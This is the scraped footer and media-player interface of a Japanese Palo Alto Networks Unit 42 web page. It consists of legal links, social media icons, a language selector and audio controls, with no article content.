* [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy)

* [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center)

* [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use)

* [ドキュメント](https://www.paloaltonetworks.jp/legal-notices)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/)
* JP  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)